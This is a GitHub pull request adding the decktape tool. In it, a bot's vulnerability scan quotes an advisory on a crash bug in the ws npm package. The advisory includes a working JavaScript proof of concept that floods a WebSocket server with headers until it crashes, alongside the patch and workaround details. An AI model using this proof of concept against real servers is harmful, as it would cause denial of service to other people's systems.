Added decktape

[nicholasdille]

No description provided.

[github-actions]

🔍 Vulnerabilities of ghcr.io/uniget-org/tools/decktape:3.12.0

📦 Image Reference ghcr.io/uniget-org/tools/decktape:3.12.0

digest	sha256:44608c84519210e3a336e8aa543f14d1334ed75a9b30963c127f0149bf412190
vulnerabilities
platform	linux/amd64
size	11 MB
packages	128

ws 8.16.0 (npm) pkg:npm/ws@8.16.0 NULL Pointer Dereference Affected range >=8.0.0 <8.17.1 Fixed version 8.17.1 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Description Impact A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server. Proof of concept const http = require('http'); const WebSocket = require('ws'); const wss = new WebSocket.Server({ port: 0 }, function () { const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split(''); const headers = {}; let count = 0; for (let i = 0; i < chars.length; i++) { if (count === 2000) break; for (let j = 0; j < chars.length; j++) { const key = chars[i] + chars[j]; headers[key] = 'x'; if (++count === 2000) break; } } headers.Connection = 'Upgrade'; headers.Upgrade = 'websocket'; headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ=='; headers['Sec-WebSocket-Version'] = '13'; const request = http.request({ headers: headers, host: '127.0.0.1', port: wss.address().port }); request.end(); }); Patches The vulnerability was fixed in ws@8.17.1 (websockets/ws@e55e510) and backported to ws@7.5.10 (websockets/ws@22c2876), ws@6.2.3 (websockets/ws@eeb76d3), and ws@5.2.4 (websockets/ws@4abd8f6) Workarounds In vulnerable versions of ws, the issue can be mitigated in the following ways: Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent. Set server.maxHeadersCount to 0 so that no limit is applied. Credits The vulnerability was reported by Ryan LaPointe in websockets/ws#2230. References Throws TypeError when there are too many HTTP headers websockets/ws#2230 Fix crash when the Upgrade header cannot be read websockets/ws#2231

[github-actions]

Attempting automerge. See https://github.com/uniget-org/tools/actions/runs/9686957499.